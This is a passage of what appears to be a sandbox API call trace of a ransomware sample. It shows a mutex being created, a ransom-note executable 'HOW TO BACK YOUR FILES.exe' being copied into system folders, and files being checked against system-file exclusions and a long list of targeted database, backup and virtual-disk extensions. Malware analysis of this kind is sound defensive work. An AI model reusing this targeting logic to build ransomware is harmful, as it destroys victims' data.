RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0107.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0107.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.114] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.114] CloseHandle (hObject=0x17c) returned 1 [0107.114] CloseHandle (hObject=0x154) returned 1 [0107.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0107.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.115] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0107.115] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0107.115] ReleaseMutex (hMutex=0xec) returned 1 [0107.115] CloseHandle (hObject=0xec) returned 1 [0107.115] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" [0107.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0107.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f658 | out: hHeap=0x4f0000) returned 1 [0107.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned 54 [0107.115] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\25793050D4B3F956D36F93318FCB0C21") returned 0xec [0107.115] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0107.115] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" [0107.115] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0107.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\how to back your files.exe"), bFailIfExists=1) returned 0 [0107.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0107.116] GetLastError () returned 0x0 [0107.116] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0107.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0107.116] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0107.117] CloseHandle (hObject=0xf4) returned 1 [0107.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.117] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0107.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0107.117] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.118] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.118] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.118] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.118] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.118] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.118] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcfb40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0107.118] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0107.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".") returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="..") returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="windows") returned -1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="bootmgr") returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="temp") returned -1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="pagefile.sys") returned -1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="boot") returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="ids.txt") returned 1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="ntuser.dat") returned -1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="perflogs") returned -1 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2="MSBuild") returned 1 [0107.118] lstrlenW (lpString="msgfilt.dll") returned 11 [0107.118] lstrcpyW (in: lpString1=0x241e8b6, lpString2="msgfilt.dll" | out: lpString1="msgfilt.dll") returned="msgfilt.dll" [0107.118] lstrlenW (lpString="msgfilt.dll") returned 11 [0107.118] lstrlenW (lpString="Athena865") returned 9 [0107.118] lstrcmpiW (lpString1="gfilt.dll", lpString2="Athena865") returned 1 [0107.118] lstrlenW (lpString=".dll") returned 4 [0107.118] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".dll") returned 1 [0107.119] lstrlenW (lpString=".lnk") returned 4 [0107.119] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".lnk") returned 1 [0107.119] lstrlenW (lpString=".ini") returned 4 [0107.119] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".ini") returned 1 [0107.119] lstrlenW (lpString=".sys") returned 4 [0107.119] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".sys") returned 1 [0107.119] lstrlenW (lpString="msgfilt.dll") returned 11 [0107.119] lstrlenW (lpString="bak") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0107.119] lstrlenW (lpString="ba_") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0107.119] lstrlenW (lpString="dbb") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0107.119] lstrlenW (lpString="vmdk") returned 4 [0107.119] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0107.119] lstrlenW (lpString="rar") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0107.119] lstrlenW (lpString="zip") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0107.119] lstrlenW (lpString="tgz") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0107.119] lstrlenW (lpString="vbox") returned 4 [0107.119] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0107.119] lstrlenW (lpString="vdi") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0107.119] lstrlenW (lpString="vhd") returned 3 [0107.119] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0107.119] lstrlenW (lpString="vhdx") returned 4 [0107.119] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0107.119] lstrlenW (lpString="avhd") returned 4 [0107.119] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0107.120] lstrlenW (lpString="db") returned 2 [0107.120] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0107.120] lstrlenW (lpString="db2") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0107.120] lstrlenW (lpString="db3") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0107.120] lstrlenW (lpString="dbf") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0107.120] lstrlenW (lpString="mdf") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0107.120] lstrlenW (lpString="mdb") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0107.120] lstrlenW (lpString="sql") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0107.120] lstrlenW (lpString="sqlite") returned 6 [0107.120] lstrcmpiW (lpString1="lt.dll", lpString2="sqlite") returned -1 [0107.120] lstrlenW (lpString="sqlite3") returned 7 [0107.120] lstrcmpiW (lpString1="ilt.dll", lpString2="sqlite3") returned -1 [0107.120] lstrlenW (lpString="sqlitedb") returned 8 [0107.120] lstrcmpiW (lpString1="filt.dll", lpString2="sqlitedb") returned -1 [0107.120] lstrlenW (lpString="xml") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0107.120] lstrlenW (lpString="$er") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0107.120] lstrlenW (lpString="4dd") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0107.120] lstrlenW (lpString="4dl") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0107.120] lstrlenW (lpString="^^^") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0107.120] lstrlenW (lpString="abs") returned 3 [0107.120] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0107.120] lstrlenW (lpString="abx") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0107.121] lstrlenW (lpString="accdb") returned 5 [0107.121] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0107.121] lstrlenW (lpString="accdc") returned 5 [0107.121] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0107.121] lstrlenW (lpString="accde") returned 5 [0107.121] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0107.121] lstrlenW (lpString="accdr") returned 5 [0107.121] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0107.121] lstrlenW (lpString="accdt") returned 5 [0107.121] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0107.121] lstrlenW (lpString="accdw") returned 5 [0107.121] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0107.121] lstrlenW (lpString="accft") returned 5 [0107.121] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0107.121] lstrlenW (lpString="adb") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0107.121] lstrlenW (lpString="adb") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0107.121] lstrlenW (lpString="ade") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0107.121] lstrlenW (lpString="adf") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0107.121] lstrlenW (lpString="adn") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0107.121] lstrlenW (lpString="adp") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0107.121] lstrlenW (lpString="alf") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0107.121] lstrlenW (lpString="ask") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0107.121] lstrlenW (lpString="btr") returned 3 [0107.121] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0107.122] lstrlenW (lpString="cat") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0107.122] lstrlenW (lpString="cdb") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0107.122] lstrlenW (lpString="ckp") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0107.122] lstrlenW (lpString="cma") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0107.122] lstrlenW (lpString="cpd") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0107.122] lstrlenW (lpString="dacpac") returned 6 [0107.122] lstrcmpiW (lpString1="lt.dll", lpString2="dacpac") returned 1 [0107.122] lstrlenW (lpString="dad") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0107.122] lstrlenW (lpString="dadiagrams") returned 10 [0107.122] lstrcmpiW (lpString1="sgfilt.dll", lpString2="dadiagrams") returned 1 [0107.122] lstrlenW (lpString="daschema") returned 8 [0107.122] lstrcmpiW (lpString1="filt.dll", lpString2="daschema") returned 1 [0107.122] lstrlenW (lpString="db-journal") returned 10 [0107.122] lstrcmpiW (lpString1="sgfilt.dll", lpString2="db-journal") returned 1 [0107.122] lstrlenW (lpString="db-shm") returned 6 [0107.122] lstrcmpiW (lpString1="lt.dll", lpString2="db-shm") returned 1 [0107.122] lstrlenW (lpString="db-wal") returned 6 [0107.122] lstrcmpiW (lpString1="lt.dll", lpString2="db-wal") returned 1 [0107.122] lstrlenW (lpString="dbc") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0107.122] lstrlenW (lpString="dbs") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0107.122] lstrlenW (lpString="dbt") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0107.122] lstrlenW (lpString="dbv") returned 3 [0107.122] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0107.122] lstrlenW (lpString="dbx") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0107.123] lstrlenW (lpString="dcb") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0107.123] lstrlenW (lpString="dct") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0107.123] lstrlenW (lpString="dcx") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0107.123] lstrlenW (lpString="ddl") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0107.123] lstrlenW (lpString="dlis") returned 4 [0107.123] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0107.123] lstrlenW (lpString="dp1") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0107.123] lstrlenW (lpString="dqy") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0107.123] lstrlenW (lpString="dsk") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0107.123] lstrlenW (lpString="dsn") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0107.123] lstrlenW (lpString="dtsx") returned 4 [0107.123] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0107.123] lstrlenW (lpString="dxl") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0107.123] lstrlenW (lpString="eco") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0107.123] lstrlenW (lpString="ecx") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0107.123] lstrlenW (lpString="edb") returned 3 [0107.123] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0107.123] lstrlenW (lpString="epim") returned 4 [0107.123] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0107.124] lstrlenW (lpString="fcd") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0107.124] lstrlenW (lpString="fdb") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0107.124] lstrlenW (lpString="fic") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0107.124] lstrlenW (lpString="flexolibrary") returned 12 [0107.124] lstrlenW (lpString="fm5") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0107.124] lstrlenW (lpString="fmp") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0107.124] lstrlenW (lpString="fmp12") returned 5 [0107.124] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0107.124] lstrlenW (lpString="fmpsl") returned 5 [0107.124] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0107.124] lstrlenW (lpString="fol") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0107.124] lstrlenW (lpString="fp3") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0107.124] lstrlenW (lpString="fp4") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0107.124] lstrlenW (lpString="fp5") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0107.124] lstrlenW (lpString="fp7") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0107.124] lstrlenW (lpString="fpt") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0107.124] lstrlenW (lpString="frm") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0107.124] lstrlenW (lpString="gdb") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0107.124] lstrlenW (lpString="gdb") returned 3 [0107.124] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0107.125] lstrlenW (lpString="grdb") returned 4 [0107.125] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0107.125] lstrlenW (lpString="gwi") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0107.125] lstrlenW (lpString="hdb") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0107.125] lstrlenW (lpString="his") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0107.125] lstrlenW (lpString="ib") returned 2 [0107.125] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0107.125] lstrlenW (lpString="idb") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0107.125] lstrlenW (lpString="ihx") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0107.125] lstrlenW (lpString="itdb") returned 4 [0107.125] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0107.125] lstrlenW (lpString="itw") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0107.125] lstrlenW (lpString="jet") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0107.125] lstrlenW (lpString="jtx") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0107.125] lstrlenW (lpString="kdb") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0107.125] lstrlenW (lpString="kexi") returned 4 [0107.125] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0107.125] lstrlenW (lpString="kexic") returned 5 [0107.125] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0107.125] lstrlenW (lpString="kexis") returned 5 [0107.125] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0107.125] lstrlenW (lpString="lgc") returned 3 [0107.125] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0107.125] lstrlenW (lpString="lwx") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0107.126] lstrlenW (lpString="maf") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0107.126] lstrlenW (lpString="maq") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0107.126] lstrlenW (lpString="mar") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0107.126] lstrlenW (lpString="marshal") returned 7 [0107.126] lstrcmpiW (lpString1="ilt.dll", lpString2="marshal") returned -1 [0107.126] lstrlenW (lpString="mas") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0107.126] lstrlenW (lpString="mav") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0107.126] lstrlenW (lpString="maw") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0107.126] lstrlenW (lpString="mdbhtml") returned 7 [0107.126] lstrcmpiW (lpString1="ilt.dll", lpString2="mdbhtml") returned -1 [0107.126] lstrlenW (lpString="mdn") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0107.126] lstrlenW (lpString="mdt") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0107.126] lstrlenW (lpString="mfd") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0107.126] lstrlenW (lpString="mpd") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0107.126] lstrlenW (lpString="mrg") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0107.126] lstrlenW (lpString="mud") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0107.126] lstrlenW (lpString="mwb") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0107.126] lstrlenW (lpString="myd") returned 3 [0107.126] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0107.127] lstrlenW (lpString="ndf") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0107.127] lstrlenW (lpString="nnt") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0107.127] lstrlenW (lpString="nrmlib") returned 6 [0107.127] lstrcmpiW (lpString1="lt.dll", lpString2="nrmlib") returned -1 [0107.127] lstrlenW (lpString="ns2") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0107.127] lstrlenW (lpString="ns3") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0107.127] lstrlenW (lpString="ns4") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0107.127] lstrlenW (lpString="nsf") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0107.127] lstrlenW (lpString="nv") returned 2 [0107.127] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0107.127] lstrlenW (lpString="nv2") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0107.127] lstrlenW (lpString="nwdb") returned 4 [0107.127] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0107.127] lstrlenW (lpString="nyf") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0107.127] lstrlenW (lpString="odb") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0107.127] lstrlenW (lpString="odb") returned 3 [0107.127] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0107.127] lstrlenW (lpString="oqy") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0107.128] lstrlenW (lpString="ora") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0107.128] lstrlenW (lpString="orx") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0107.128] lstrlenW (lpString="owc") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0107.128] lstrlenW (lpString="p96") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0107.128] lstrlenW (lpString="p97") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0107.128] lstrlenW (lpString="pan") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0107.128] lstrlenW (lpString="pdb") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0107.128] lstrlenW (lpString="pdm") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 